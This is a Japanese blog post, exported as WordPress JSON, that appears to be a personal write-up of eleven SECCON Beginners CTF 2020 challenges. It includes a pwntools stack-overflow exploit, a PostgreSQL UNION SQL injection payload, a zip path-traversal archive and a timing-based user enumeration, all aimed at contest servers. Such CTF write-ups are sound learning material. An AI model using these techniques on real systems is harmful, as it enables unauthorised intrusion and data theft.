{"id":448,"date":"2020-05-24T19:18:03","date_gmt":"2020-05-24T10:18:03","guid":{"rendered":"https:\/\/emeth.jp\/diary\/?p=448"},"modified":"2024-08-10T14:39:40","modified_gmt":"2024-08-10T05:39:40","slug":"seccon-beginners-ctf-2020-writeup","status":"publish","type":"post","link":"https:\/\/emeth.jp\/diary\/2020\/05\/seccon-beginners-ctf-2020-writeup\/","title":{"rendered":"SECCON Beginners CTF 2020 Writeup"},"content":{"rendered":"\n<p>\u3082\u306f\u3084\u65e5\u8a18\u3067\u306f\u306a\u304f\u5e74\u8a18\u3067\u3042\u308b\u3002<\/p>\n\n\n\n<p>SECCON Beginners CTF 2020\u306b\u53c2\u52a0\u3057\u305f\u3002<br>\u5e74\u5b63\u7684\u306b\u306fBeginner\u3058\u3083\u306a\u3044\u3051\u3069\u5168\u7136\u30ec\u30d9\u30eb\u30a2\u30c3\u30d7\u3057\u3066\u306a\u3044\u304b\u3089\u3044\u3044\u306e\u3067\u3059\u3002<\/p>\n\n\n\n<p>Beginner&#8217;s Heap\u4ee5\u5916\u306eBeginner, Easy\u30ec\u30d9\u30eb\u554f\u309211\u554f\u89e3\u3044\u30661,433\u30dd\u30a4\u30f3\u30c8\u306770\u4f4d\u3002<\/p>\n\n\n\n<!--more-->\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1091\" height=\"1362\" src=\"https:\/\/emeth.jp\/diary\/wp-content\/uploads\/2020\/05\/image-3.png\" alt=\"\" class=\"wp-image-452\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1182\" height=\"498\" src=\"https:\/\/emeth.jp\/diary\/wp-content\/uploads\/2020\/05\/image.png\" alt=\"\" class=\"wp-image-449\"\/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Pwn &#8211; Beginner&#8217;s stack [Beginner]<\/h2>\n\n\n\n<p>\u30b9\u30bf\u30c3\u30af\u30aa\u30fc\u30d0\u30fc\u30d5\u30ed\u30fc\u3092\u3057\u3066vuln\u95a2\u6570\u306e\u30ea\u30bf\u30fc\u30f3\u30a2\u30c9\u30ec\u30b9\u3092win\u95a2\u6570\u306e\u30a2\u30c9\u30ec\u30b9\u306b\u66f8\u304d\u63db\u3048\u308c\u3070\u3088\u3044\u3002<br>\u306e\u3060\u304c\u3001\u5358\u7d14\u306b\u66f8\u304d\u63db\u3048\u308b\u3068\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u30e1\u30c3\u30bb\u30fc\u30b8\u304c\u51fa\u308b\u3002<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nOops! RSP is misaligned!\nSome functions such as `system` use `movaps` instructions in libc-2.27 and later.\nThis instruction fails when RSP is not a multiple of 0x10.\nFind a way to align RSP! You're almost there!\n<\/pre><\/div>\n\n\n<p>RSP\u304c0x10\u306e\u500d\u6570\u306b\u306a\u3063\u3066\u3044\u306a\u3044\u3068\u3044\u3051\u306a\u3044\u3089\u3057\u3044\u3002<br>win\u95a2\u6570\u306b\u884c\u304f\u524d\u306b\u30b9\u30bf\u30c3\u30af\u30928\u30d0\u30a4\u30c8\u305a\u3089\u3059\u306b\u306fpop\u3092\u631f\u3093\u3067\u3084\u308c\u3070\u3088\u3044\u3002<br>\u3061\u3087\u3046\u3069win\u95a2\u6570\u306e1\u30d0\u30a4\u30c8\u524d\u306e\u547d\u4ee4\u304cret\u306a\u306e\u3067\u3001vuln\u95a2\u6570\u306e\u30ea\u30bf\u30fc\u30f3\u30a2\u30c9\u30ec\u30b9\u3092\u305d\u3053\u306b\u5411\u3051\u3066\u3084\u308a\u3001vuln\u95a2\u6570\u306e\u30ea\u30bf\u30fc\u30f3\u30a2\u30c9\u30ec\u30b9\u304c\u683c\u7d0d\u3055\u308c\u305f\u30b9\u30bf\u30c3\u30af\u306e\u5148\uff08saved rbp (main)\uff09\u306bwin\u95a2\u6570\u306e\u30a2\u30c9\u30ec\u30b9\u3092\u5165\u308c\u3066\u3084\u308c\u3070\u3088\u3044\u3002<br>\u3046\u307e\u304f\u3044\u304f\u3068\u30b7\u30a7\u30eb\u304c\u53d6\u308c\u308b\u306e\u3067\u3001\u5f8c\u306f\u30d5\u30e9\u30b0\u3092\u30b2\u30c3\u30c8\u3059\u308b\u3060\u3051\u3002<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\ncat flag.txt\nctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}\n<\/pre><\/div>\n\n\n<p>\u4ee5\u4e0b\u30bd\u30fc\u30b9\u3002\u521d\u3081\u3066pwntools\u4f7f\u3063\u3066\u307f\u305f\u3051\u3069\u4fbf\u5229\u306d\u3002<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\nfrom pwn import *\n\nio = remote(\"bs.quals.beginners.seccon.jp\", 9001)\n\naddr_win = io.recvline().decode().rsplit(\" \")&#x5B;-1].rstrip(\")\\n\")\nmsg = io.recvuntil(\"Input: \")\n\nio.sendline(cyclic(0x28) + p64(int(addr_win, 16) - 1) + p64(int(addr_win, 16)))\nio.interactive()\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\">Crypto &#8211; R&amp;B [Beginner]<\/h2>\n\n\n\n<p>\u4e0e\u3048\u3089\u308c\u305f\u30b3\u30fc\u30c9\u3092\u898b\u308b\u3068\u3053\u3093\u306a\u611f\u3058\u3067\u3001rot13\u3057\u305f\u3082\u306e\u306e\u982d\u306b&#8221;R&#8221;\u3092\u3064\u3051\u308b\u51e6\u7406\u304b\u3001base64\u3057\u305f\u3082\u306e\u306e\u982d\u306b&#8221;B&#8221;\u3092\u3064\u3051\u308b\u51e6\u7406\u306e\u3069\u3061\u3089\u304b\u3092\u9078\u3093\u3067\u7e70\u308a\u8fd4\u3057\u3066\u3044\u308b\u3002<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\nfor t in FORMAT:\n    if t == \"R\":\n        FLAG = \"R\" + rot13(FLAG)\n    if t == \"B\":\n        FLAG = \"B\" + base64(FLAG)\n\nprint(FLAG)\n<\/pre><\/div>\n\n\n<p>\u3053\u306e\u3084\u308a\u65b9\u3067\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30d5\u30e9\u30b0\u304c\u4e0e\u3048\u3089\u308c\u3066\u3044\u308b\u306e\u3067\u3001\u9006\u6f14\u7b97\u3057\u3066\u3044\u3051\u3070\u3088\u3044\u3002<br>\u79c1\u306f\u624b\u52d5\u3067\u51fa\u529b\u3092\u78ba\u8a8d\u3057\u306a\u304c\u3089<code>cut -c 2- | rot13<\/code>\u3068<code>cut -c 2- | base64 -d<\/code>\u3092\u30d1\u30a4\u30d7\u3067\u3064\u306a\u3052\u3066\u3044\u3063\u305f\u3002<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\ntkito@salamander:~\/r_and_b$ cat encoded_flag | cut -c 2- | base64 -d | cut -c 2- | base64 -d | cut -c 2- | rot13 | cut -c 2- | base64 -d | cut -c 2- | rot13 | cut -c 2- | base64 -d | cut -c 2- | rot13 | cut -c 2- | base64 -d | cut -c 2- | base64 -d | cut -c 2- | rot13 | cut -c 2- | base64 -d | cut -c 2- | rot13 | cut -c 2- | base64 -d | cut -c 2- | rot13\nbase64: invalid input\nctf4b{rot_base_rot_base_rot_base_base}\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\">Crypto &#8211; Noisy equations [Easy]<\/h2>\n\n\n\n<p>problem.py\u3092\u8aad\u307f\u3068\u304f\u3068\u3001\u4ee5\u4e0b\u306e\u3088\u3046\u306b\u306a\u308b\u3002<br>C\u304ccoeffs\u306e\u884c\u5217\u3067F\u304cFLAG\u306e\u30d9\u30af\u30c8\u30eb\u3001R\u304c\u4e71\u6570\u306e\u30d9\u30af\u30c8\u30eb\u3067A\u304canswers\u306e\u30d9\u30af\u30c8\u30eb\u3002<\/p>\n\n\n\n<div class=\"wp-block-katex-display-block katex-eq\" data-katex-display=\"true\"><pre>CF + R = A<\/pre><\/div>\n\n\n\n<p>\u3053\u3053\u3067\u3001C\u306f\u5b9f\u884c\u306e\u305f\u3073\u306b\u5909\u308f\u308b\u4e00\u65b9\u3001R\u306f\u4ee5\u4e0b\u306e\u30b3\u30fc\u30c9\u3067seed\u3092\u56fa\u5b9a\u3057\u3066\u3044\u308b\u305f\u3081\u3001\u4f55\u5ea6\u5b9f\u884c\u3057\u3066\u3082\u540c\u3058\u5024\u306b\u306a\u308b\u3002<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\nseed(SEED)\n<\/pre><\/div>\n\n\n<p>R\u304c\u5b9a\u6570\u3067\u3042\u308b\u3068\u308f\u304b\u3063\u305f\u306e\u3067\u30012\u56de\u5b9f\u884c\u3059\u308b\u3068\u4ee5\u4e0b\u306e\u3088\u3046\u306b\u306a\u308b\u3002<\/p>\n\n\n\n<div class=\"wp-block-katex-display-block katex-eq\" data-katex-display=\"true\"><pre>C_1F+R=A_1\\\\\nC_2F+R=A_2<\/pre><\/div>\n\n\n\n<p>\u4e21\u8fba\u306e\u5dee\u5206\u3092\u3068\u308b\u3053\u3068\u3067FLAG\u306b\u95a2\u3059\u308b\u9023\u7acb\u4e00\u6b21\u65b9\u7a0b\u5f0f\u306b\u5e30\u7d50\u3059\u308b\u3002<\/p>\n\n\n\n<div class=\"wp-block-katex-display-block katex-eq\" data-katex-display=\"true\"><pre>(C_1-C_2)F=(A_1-A_2)<\/pre><\/div>\n\n\n\n<p>\u5f8c\u306f\u89e3\u3044\u3066\u3084\u308c\u3070\u3088\u3044\u3002<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\nfrom pwn import *\nimport json\nimport numpy as np\n\nio = remote(\"noisy-equations.quals.beginners.seccon.jp\", 3000)\ncoeffs_1 = json.loads(io.recvline())\nanswer_1 = json.loads(io.recvline())\n\nio.clean()\nio.close()\n\nio = remote(\"noisy-equations.quals.beginners.seccon.jp\", 3000)\ncoeffs_2 = json.loads(io.recvline())\nanswer_2 = json.loads(io.recvline())\n\nio.clean()\nio.close()\n\nLEN = len(coeffs_1)\ncoeffs = &#x5B;&#x5B; coeffs_1&#x5B;i]&#x5B;j] - coeffs_2&#x5B;i]&#x5B;j] for j in range(LEN) ] for i in range(LEN) ]\nanswer = &#x5B; answer_1&#x5B;i] - answer_2&#x5B;i] for i in range(LEN) ]\n\nA = np.matrix(coeffs, dtype=float)\nB = np.array(answer, dtype=float)\nflag = np.linalg.solve(A, B)\n\nprint(\"\".join(&#x5B; chr(int(round(x))) for x in flag ]))\n<\/pre><\/div>\n\n\n<p>round\u3057\u306a\u3044\u3068\u5024\u304c1\u305a\u308c\u308b\u304b\u3089\u8981\u6ce8\u610f\u3060\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Web &#8211; Spy [Beginner]<\/h2>\n\n\n\n<p>\u5f93\u696d\u54e1\u306e\u30ea\u30b9\u30c8\u304c\u4e0e\u3048\u3089\u308c\u3066\u3001\u305d\u306e\u4e2d\u304b\u3089Web\u30a2\u30d7\u30ea\u3092\u4f7f\u3063\u3066\u3044\u308b\u30e6\u30fc\u30b6\u3092\u62bd\u51fa\u3059\u308b\u554f\u984c\u3002<br>\u4e0e\u3048\u3089\u308c\u305fapp.py\u306e\u30b3\u30fc\u30c9\u304b\u3089\u8a8d\u8a3c\u90e8\u5206\u3092\u629c\u304d\u51fa\u3057\u305f\u3082\u306e\u304c\u4ee5\u4e0b\u3002<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; highlight: [9,10]; title: ; notranslate\" title=\"\">\n        name = request.form&#x5B;\"name\"]\n        password = request.form&#x5B;\"password\"]\n\n        exists, account = db.get_account(name)\n\n        if not exists:\n            return render_template(\"index.html\", message=\"Login failed, try again.\", sec=\"{:.7f}\".format(time.perf_counter()-t))\n\n        # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.\n        # You know, it's really secure... isn't it? :-)\n        hashed_password = auth.calc_password_hash(app.SALT, password)\n        if hashed_password != account.password:\n            return render_template(\"index.html\", message=\"Login failed, try again.\", sec=\"{:.7f}\".format(time.perf_counter()-t))\n<\/pre><\/div>\n\n\n<p>\u30a2\u30ab\u30a6\u30f3\u30c8\u304c\u5b58\u5728\u3057\u306a\u3044\u5834\u5408\u306b\u306f\u305d\u3053\u3067\u51e6\u7406\u3092\u7d42\u4e86\u3057\u3001\u30a2\u30ab\u30a6\u30f3\u30c8\u304c\u5b58\u5728\u3059\u308b\u5834\u5408\u306b\u306f\u5165\u529b\u3055\u308c\u305f\u30d1\u30b9\u30ef\u30fc\u30c9\u304b\u3089\u30cf\u30c3\u30b7\u30e5\u5316\u3055\u308c\u305f\u3082\u306e\u3092\u8a08\u7b97\u3057\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u5408\u3063\u3066\u3044\u308b\u304b\u3069\u3046\u304b\u3092\u78ba\u8a8d\u3057\u3066\u3044\u308b\u3002<br>\u30b3\u30e1\u30f3\u30c8\u306b\u3088\u308b\u3068\u300c\u305f\u304f\u3055\u3093\u30b9\u30c8\u30ec\u30c3\u30c1\u30f3\u30b0\u3057\u3066\u308b\u304b\u3089\u8d85\u30bb\u30ad\u30e5\u30a2\uff01\u300d\u3068\u306e\u3053\u3068\u3002<br>\u30b9\u30c8\u30ec\u30c3\u30c1\u30f3\u30b0\u306e\u6b20\u70b9\u306f\u3001\u4f55\u5ea6\u3082\u30cf\u30c3\u30b7\u30e5\u95a2\u6570\u3092\u5b9f\u884c\u3059\u308b\u305f\u3081\u51e6\u7406\u306b\u6642\u9593\u304c\u304b\u304b\u308b\u3088\u3046\u306b\u306a\u308b\u3053\u3068\u3002<br>\u753b\u9762\u306b\u306f\u8a8d\u8a3c\u51e6\u7406\u306b\u304b\u304b\u3063\u305f\u6642\u9593\u304c\u8868\u793a\u3055\u308c\u308b\u3088\u3046\u306b\u306a\u3063\u3066\u3044\u308b\u306e\u3067\u3001\u3053\u308c\u3092\u4f7f\u3063\u3066\u3001\u51e6\u7406\u6642\u9593\u304c\u77ed\u3044\u30e6\u30fc\u30b6\u30fc\u3068\u9577\u3044\u30e6\u30fc\u30b6\u30fc\u3068\u3092\u5206\u3051\u3066\u3044\u304f\u3002<br>\u51e6\u7406\u6642\u9593\u304c\u9577\u3044\u30e6\u30fc\u30b6\u30fc\u304c\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u30a8\u30f3\u30c8\u30ea\u30fc\u304c\u3042\u308b\u30e6\u30fc\u30b6\u30fc\u3068\u3044\u3046\u3053\u3068\u3067\u3001\u30c1\u30e3\u30ec\u30f3\u30b8\u30da\u30fc\u30b8\u3067\u305d\u308c\u3089\u306e\u30e6\u30fc\u30b6\u30fc\u306b\u30c1\u30a7\u30c3\u30af\u3092\u5165\u308c\u3066Answer\u3092\u62bc\u305b\u3070OK\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Web &#8211; Tweetstore [Easy]<\/h2>\n\n\n\n<p>SECCON\u904b\u55b6\u306e\u30c4\u30a4\u30fc\u30c8\u3092\u691c\u7d22\u3067\u304d\u308b\u30b5\u30fc\u30d3\u30b9\u3002<br>\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u3092\u898b\u308b\u3068\u3001search\u30d1\u30e9\u30e1\u30fc\u30bf\u3068limit\u30d1\u30e9\u30e1\u30fc\u30bf\u306b\u51e6\u7406\u3092\u3057\u3066SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u304c\u6210\u529f\u3057\u306a\u3044\u3088\u3046\u306b\u3057\u3066\u3044\u308b\uff08\u3064\u3082\u308a\u306e\u6a21\u69d8\uff09\u3002<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: groovy; highlight: [5,12]; title: ; notranslate\" title=\"\">\n\tvar sql = \"select url, text, tweeted_at from tweets\"\n\n\tsearch, ok := r.URL.Query()&#x5B;\"search\"]\n\tif ok {\n\t\tsql += \" where text like '%\" + strings.Replace(search&#x5B;0], \"'\", \"\\\\'\", -1) + \"%'\"\n\t}\n\n\tsql += \" order by tweeted_at desc\"\n\n\tlimit, ok := r.URL.Query()&#x5B;\"limit\"]\n\tif ok && (limit&#x5B;0] != \"\") {\n\t\tsql += \" limit \" + strings.Split(limit&#x5B;0], \";\")&#x5B;0]\n\t}\n<\/pre><\/div>\n\n\n<p>search\u306e\u30b7\u30f3\u30b0\u30eb\u30af\u30a9\u30fc\u30c8\u3092\u30a8\u30b9\u30b1\u30fc\u30d7\u3057\u3066\u3044\u308b\u3088\u3046\u306b\u898b\u3048\u3066\u3001search\u306b\u30b7\u30f3\u30b0\u30eb\u30af\u30a9\u30fc\u30c8\u4e00\u3064\u5165\u308c\u308b\u3068\u30b5\u30fc\u30d0\u30a8\u30e9\u30fc\u306b\u306a\u308b\u9762\u767d\u5b9f\u88c5\u3060\u304c\u3001\u305d\u308c\u306f\u305d\u308c\u3068\u3057\u3066\u3001search\u3092\u4f7f\u3063\u3066SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3092\u3059\u308b\u3002<br>\u306a\u304a\u3001DB\u304cPostgreSQL\u3067\u3042\u308b\u3053\u3068\u306f\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u306einitialize\u90e8\u5206\u3092\u898b\u308c\u3070\u308f\u304b\u308b\u3002<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n\\' union select usename,usename,now() from pg_user;--\n<\/pre><\/div>\n\n\n<p>now()\u306e\u3068\u3053\u308d\u30920\u3068\u304bnull\u3068\u304b\u3057\u3066\u307f\u3066\u3046\u307e\u304f\u3044\u304b\u305a\u3001\u81a8\u5927\u306a\u6642\u9593\u304c\u304b\u304b\u3063\u3066\u3057\u307e\u3063\u305f\u3002<br>\u3061\u306a\u307f\u306b\u3001limit\u306e\u65b9\u3067UNION\u3092\u633f\u5165\u3057\u3088\u3046\u3068\u3057\u3066\u3082\u3001\u524d\u6bb5\u3067ORDER BY\u3057\u3066\u3044\u308b\u305f\u3081\u30a8\u30e9\u30fc\u306b\u306a\u308b\u3002ORDER BY\u306e\u5f8c\u306bUNION\u306f\u3067\u304d\u306a\u3044\u306e\u3067\u3042\u308b\u3002<br>\u6700\u521d\u306f\u305d\u308c\u3092\u77e5\u3089\u305a\u306b\u305a\u3063\u3068\u8a66\u884c\u932f\u8aa4\u3057\u3066\u3044\u3066\u6642\u9593\u304c\u6eb6\u3051\u3066\u3044\u3063\u305f\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Web &#8211; unzip [Easy]<\/h2>\n\n\n\n<p>Zip\u30d5\u30a1\u30a4\u30eb\u3092\u9001\u4ed8\u3059\u308b\u3068\u30b5\u30fc\u30d0\u3067\u5c55\u958b\u3057\u3066\u304f\u308c\u3066\u4e2d\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u53d6\u5f97\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u308b\u30b5\u30fc\u30d3\u30b9\u3002<br>\u4e0e\u3048\u3089\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u304b\u3089\u3001\u5c55\u958b\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u306e\u30d1\u30b9\u3068\u30d5\u30e9\u30b0\u306e\u30d1\u30b9\u304c\u308f\u304b\u308b\u306e\u3067\u3001\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u3092\u3059\u308b\u3088\u3046\u306a\u30d1\u30b9\u3092\u6301\u3063\u305f\u30d5\u30a1\u30a4\u30eb\u3092\u542b\u3080zip\u30d5\u30a1\u30a4\u30eb\u3092\u4f5c\u6210\u3057\u3066\u9001\u3063\u3066\u3084\u308c\u3070\u3088\u3044\u3002<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; highlight: [10]; title: ; notranslate\" title=\"\">\ntkito@salamander:~$ touch flag.txt\ntkito@salamander:~$ mkdir -p a\/b\ntkito@salamander:~$ cd a\/b\ntkito@salamander:~\/a\/b$ zip answer.zip ..\/..\/flag.txt\n  adding: ..\/..\/flag.txt (stored 0%)\ntkito@salamander:~\/a\/b$ unzip -l answer.zip\nArchive:  answer.zip\n  Length      Date    Time    Name\n---------  ---------- -----   ----\n        0  2020-05-24 17:40   ..\/..\/flag.txt\n---------                     -------\n        0                     1 file\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\">Reversing &#8211; mask [Beginner]<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1384\" height=\"1168\" src=\"https:\/\/emeth.jp\/diary\/wp-content\/uploads\/2020\/05\/image-4.png\" alt=\"\" class=\"wp-image-493\"\/><\/figure>\n\n\n\n<p>\u6587\u5b57\u5217\u3092\u5165\u529b\u3059\u308b\u3068\u3001\u5404\u30d0\u30a4\u30c8<code>0x75<\/code>\u3067AND\u3092\u53d6\u3063\u305f\u3082\u306e\u3068\u5404\u30d0\u30a4\u30c8<code>0xEB<\/code>\u3067AND\u3092\u53d6\u3063\u305f\u3082\u306e\u304c\u4f5c\u6210\u3055\u308c\u3001\u305d\u308c\u305e\u308c\u30d0\u30a4\u30ca\u30ea\u5185\u306e\u6587\u5b57\u5217\u3068\u6bd4\u8f03\u3055\u308c\u3001\u4e21\u65b9\u3068\u3082\u5408\u3063\u3066\u3044\u308c\u3070\u5408\u683c\u3068\u306a\u308a\u3001\u305d\u306e\u969b\u306e\u5165\u529b\u304c\u30d5\u30e9\u30b0\u3068\u306a\u308b\u3002<br>\u3053\u3053\u3067\u3001\u30d5\u30e9\u30b0\u3092F\u3068\u3057\u3001\u30d0\u30a4\u30ca\u30ea\u5185\u306e\u6587\u5b57\u5217\u3092\u305d\u308c\u305e\u308cA\u3001B\u3068\u3059\u308b\u3002<\/p>\n\n\n\n<div class=\"wp-block-katex-display-block katex-eq\" data-katex-display=\"true\"><pre>\\begin{aligned}\nF \\land {\\rm 0x75}&amp;=A \\\\\nF \\land {\\rm 0xEB}&amp;=B \\\\\n\\end{aligned}<\/pre><\/div>\n\n\n\n<p>\u4e21\u8fba\u3092\u8db3\u3057\u3066\u5206\u914d\u6cd5\u5247\u3092\u9069\u7528\u3059\u308b\u3068\u3001<\/p>\n\n\n\n<div class=\"wp-block-katex-display-block katex-eq\" data-katex-display=\"true\"><pre>\\begin{aligned}\n(F \\land {\\rm 0x75}) \\lor (F \\land {\\rm 0xEB}) &amp;= A \\lor B \\\\\nF \\land ({\\rm 0x75} \\lor {\\rm 0xEB}) &amp;= A \\lor B \\\\\nF &amp;= A \\lor B\n\\end{aligned}<\/pre><\/div>\n\n\n\n<p>\u3068\u3044\u3046\u3053\u3068\u3067\u3001A\u3068B\u306eOR\u3092\u53d6\u3063\u305f\u3082\u306e\u304c\u30d5\u30e9\u30b0\u306b\u306a\u308b\u3002<br>\u4eca\u56de\u306fCyberChef\u3067\u8a08\u7b97\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"716\" height=\"286\" src=\"https:\/\/emeth.jp\/diary\/wp-content\/uploads\/2020\/05\/image-5.png\" alt=\"\" class=\"wp-image-498\"\/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Reversing &#8211; yakisoba [Easy]<\/h2>\n\n\n\n<p>\u30d5\u30e9\u30b0\u3092\u5165\u529b\u3057\u3066\u5408\u3063\u3066\u308c\u3070\u5408\u3063\u3066\u308b\u3063\u3066\u8a00\u3063\u3066\u304f\u308c\u308b\u30d7\u30ed\u30b0\u30e9\u30e0\u3002<br>\u305f\u3060\u3057\u5224\u5b9a\u30ed\u30b8\u30c3\u30af\u304c\u56f0\u3063\u305f\u3053\u3068\u306b\u306a\u3063\u3066\u3044\u308b\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"761\" height=\"547\" src=\"https:\/\/emeth.jp\/diary\/wp-content\/uploads\/2020\/05\/image-6.png\" alt=\"\" class=\"wp-image-499\"\/><\/figure>\n\n\n\n<p>\u30b3\u30fc\u30c9\u3092\u7c21\u5358\u306b\u8aad\u3093\u3067\u307f\u308b\u3068\u30011\u6587\u5b57\u305a\u3064\u4f55\u7a2e\u985e\u304b\u306e\u6587\u5b57\u3068\u6bd4\u8f03\u3057\u3066\u5206\u5c90\u3001\u3068\u3044\u3046\u306e\u304c\u7e70\u308a\u8fd4\u3055\u308c\u3066\u3044\u308b\u3002<br>\u771f\u3063\u5f53\u306a\u3084\u308a\u65b9\u3068\u3057\u3066\u306fangr\u3092\u4f7f\u3046\u306e\u304c\u3088\u3044\u3089\u3057\u3044\u306e\u3060\u304c\u3001\u305d\u3093\u306a\u306b\u6587\u5b57\u6570\u3082\u591a\u304f\u306a\u304b\u3063\u305f\u306e\u3067\u529b\u696d\u3067\u3084\u3063\u3066\u307f\u305f\u3002<\/p>\n\n\n\n<p>n\u6587\u5b57\u76ee\u3092\u53d6\u308a\u51fa\u3059\u3068\u3053\u308d\u306b\u7740\u76ee\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"490\" height=\"280\" src=\"https:\/\/emeth.jp\/diary\/wp-content\/uploads\/2020\/05\/image-7.png\" alt=\"\" class=\"wp-image-500\"\/><\/figure>\n\n\n\n<p><code>movzx edx, byte ptr [rdi+3]<\/code>\u30674\u6587\u5b57\u76ee\u3092\u53d6\u308a\u51fa\u3057\u3066\u3044\u308b\u304c\u3001\u305d\u3053\u306b\u30b8\u30e3\u30f3\u30d7\u3059\u308b\u6761\u4ef6\u3092\u898b\u3066\u307f\u308b\u3068\u3001<code>f<\/code>\u306e\u5834\u5408\u306b\u30b8\u30e3\u30f3\u30d7\u3057\u3066\u3044\u308b\u3002\u3059\u306a\u308f\u30613\u6587\u5b57\u76ee\u306f<code>f<\/code>\u304c\u6b63\u3057\u3044\u3068\u3044\u3046\u3053\u3068\u306b\u306a\u308b\u3002<br>\u3053\u308c\u3092\u7e70\u308a\u8fd4\u3057\u3066\u30d5\u30e9\u30b0\u3092\u53d6\u5f97\u3057\u305f\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Misc &#8211; Welcome [Beginner]<\/h2>\n\n\n\n<p>Discord\u306e#announcement\u30c1\u30e3\u30cd\u30eb\u304b\u30d4\u30f3\u7559\u3081\u3055\u308c\u305f\u30e1\u30c3\u30bb\u30fc\u30b8\u3092\u898b\u308b\u3068\u66f8\u3044\u3066\u3042\u308b\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Misc &#8211; emoemoencode [Beginner]<\/h2>\n\n\n\n<p>\u4e0e\u3048\u3089\u308c\u305f\u30c6\u30ad\u30b9\u30c8\u30d5\u30a1\u30a4\u30eb\u3092\u958b\u304f\u3068\u7d75\u6587\u5b57<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"679\" height=\"44\" src=\"https:\/\/emeth.jp\/diary\/wp-content\/uploads\/2020\/05\/image-8.png\" alt=\"\" class=\"wp-image-501\"\/><\/figure>\n\n\n\n<p>\u30d0\u30a4\u30ca\u30ea\u3092\u898b\u3066\u307f\u308b\u3068\u3053\u3093\u306a\u611f\u3058<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\ntkito@salamander:~$ hexdump -C emoemoencode.txt\n00000000  f0 9f 8d a3 f0 9f 8d b4  f0 9f 8d a6 f0 9f 8c b4  |................|\n00000010  f0 9f 8d a2 f0 9f 8d bb  f0 9f 8d b3 f0 9f 8d b4  |................|\n00000020  f0 9f 8d a5 f0 9f 8d a7  f0 9f 8d a1 f0 9f 8d ae  |................|\n00000030  f0 9f 8c b0 f0 9f 8d a7  f0 9f 8d b2 f0 9f 8d a1  |................|\n00000040  f0 9f 8d b0 f0 9f 8d a8  f0 9f 8d b9 f0 9f 8d 9f  |................|\n00000050  f0 9f 8d a2 f0 9f 8d b9  f0 9f 8d 9f f0 9f 8d a5  |................|\n00000060  f0 9f 8d ad f0 9f 8c b0  f0 9f 8c b0 f0 9f 8c b0  |................|\n00000070  f0 9f 8c b0 f0 9f 8c b0  f0 9f 8c b0 f0 9f 8d aa  |................|\n00000080  f0 9f 8d a9 f0 9f 8d bd  0a                       